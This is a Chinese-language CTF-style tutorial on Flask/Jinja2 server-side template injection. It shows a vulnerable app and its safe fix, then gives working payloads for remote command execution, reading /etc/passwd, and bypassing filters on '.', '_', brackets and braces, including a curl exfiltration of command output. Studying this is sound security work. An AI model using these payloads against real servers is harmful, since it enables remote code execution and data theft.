浅析Flask SSTI模板注入

loading

最近的省赛遇到一个Flask模板注入Bypass的题目,解题过程中很容易得出有过滤_.两个字符,可惜的是在此之前几乎没有用过Flask框架,导致比赛当时极其尴尬,根本不知道如何绕过,最后队友拿出了Payload,所以赛后自己也较为系统地学习了Flask框架。

Flask框架是一个轻量化的框架,只要不是用于开发,学习成本还是很低的,很容易理解。

0x01 渲染模板

在Flask中渲染有两个函数:

函数 用法
render_template 用来渲染一个指定的文件
render_template_string 用来渲染一个字符串

Flask用Jinja2作为渲染引擎,这个渲染引擎就是在html的基础上,在需要数据交互的地方加上标签标注,最后就是将这些标签解析为标准的开发语言语法。web层面的漏洞通常就在于数据交互,开发语言写得不够严谨,容易造成一系列的注入问题。Flask当然也难以避免。

0x02 注入浅析

先来看看一段简单的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def demo():
html = '''
<h3>%s</h3>
''' % (request.args.get('id'))
return render_template_string(html)


if __name__ == '__main__':
app.run(debug=True)

为了方便本地修改调试,所以开启了debug=True,单从这小段代码就可以看出,传入的id参数直接拼接进了html中,毫无疑问直接拼接html会存在反射型xss,而且这里是Flask框架,可以执行代码,存在RCE。

这是一种不严谨的写法,安全的写法如下:

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def demo():
return render_template_string('<h3>{{ html }}</h3>', html=request.args.get('id'))


if __name__ == '__main__':
app.run(debug=True)

在用户输入的部分外包裹{{ }},这样就只是一个单纯的传参,不会引起代码执行。

接着看第一个有安全隐患的代码,直接访问,没有传入参数,显示None。

1FTi6kxIh8wagZj

传入xss代码,不出所料,直接将其交给了前端执行。

7QGFWizJrbKpX4s

即然是Jinja2的渲染引擎,那么其中的代码也是能够被解析执行的,因此在判断是否存在模板注入时可以用类似于简单的加减乘除法来判断。

Swz24ajcr9efOKl

本地环境构造了一个rce payload:

1
''.__class__.__base__.__subclasses__()[408].__init__.__globals__['os'].popen('whoami').read()

FtGuAVP3laoILYp

要分析这个Payload,就得先说说Python的魔术方法:

魔术方法 作用
__class__ 返回调用的参数类型
__base__ 返回基类
__mro__ 允许我们在当前Python环境下追溯继承树
__subclasses__() 返回子类

jQZTWEfXvMJ8IuL

上面打印了从str类到其父类再到其父类的所有子类。

[]{}''()是Python中的内置变量。通过内置变量的一些属性或函数去访问当前Python环境中的对象继承树,可以从继承树到根对象类。利用__subclasses__()等函数可以再到每一个Object,这样便可以利用当前Python环境执行任意代码。

当然Python中除了str类还有list、dict、tuple,都可以进行构造,__mro____base__都可以返回其基类,但是__base__更加直接一些。

1
2
3
4
5
6
7
8
''.__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
[].__class__.__mro__[-1]
''.__class__.__base__
{}.__class__.__base__
().__class__.__base__
[].__class__.__base__

这里就能读取到所有的子类了,然后选择我们所要利用的类,从0开始,这里我用的是<class 'subprocess.Popen'>这个类

frc14xjgSCGnHMN

它的位置也好确定,写一个Python遍历打印位置即可找到位置是408

VtqU96fpr4JKjaw

这里这么多类其实很多都可以利用,选择一个比较熟悉的就行。实在不知道的呢,建议在本地随便打个Payload,丢进burp中爆破位置,比如用命令执行或文件读取的Payload,设置0到600,其实本机一共就472个类,这里设得较大,也不影响。其中可以命令执行的很多,差不多一半左右的都可以。

1
2
3
4
{{{}.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
# 命令执行
{{{}.__class__.__base__.__subclasses__()[343]('/etc/passwd').read()}}
# 文件读取

sp1MovDLQ2HOSmJ

接着调用OS模块执行系统命令并读取执行结果给变量,再打印到网页。

下面是某师傅的Payload:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

OqWJieBfrGhgwzL

结合我们上面的分析也能很容易看懂这个Payload,相当于调用os执行whoami。

0x03 Bypass

本节部分参考Flask/Jinja2模板注入中的一些绕过姿势

回到文章开头提到的在省赛遇到的题目,题中有过滤_.两个字符,只要URL中包含这两个字符就会被拦截。

  • .被过滤

.被过滤的情况,可以利用[]来包裹函数,替代.的连接效果:

1
''['__class__']['__base__']['__subclasses__']()[408]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()

xpaVGBU9f4qRLEO

  • _被过滤

利用Hex编码\x5f替代_

1
''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[408]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('whoami')['read']()

UmVknaRhOirL3pK

  • [被过滤

利用__getitem__绕过中括号限制:

1
2
''.__class__.__mro__.__getitem__(-1)
request.__class__.__mro__.__getitem__(-1)
  • 双{被过滤

利用{% if xxx %}xx{% endif %}绕过:

1
{% if ''.__class__.__base__.__subclasses__()[408].__init__.__globals__['os'].popen('curl http://127.0.0.1:5000/?i=`whoami`').read()%}zjun{% endif %}

如果可以执行命令,利用curl将执行结果带出来。

EdA74lOaYyfKLTH

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来,可见Flask/Jinja2模板注入中的一些绕过姿势中关于盲注部分脚本。

  • __被过滤
1
{{ ''[request.args.class][request.args.mro][-1][request.args.subclasses]()[408][request.args.init][request.args.globals]['os'].popen('whoami').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__&init=__init__&globals=__globals__
  • ''被过滤
1
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(343)(request.args.path).read() }}&path=/etc/passwd

参考

声明

评论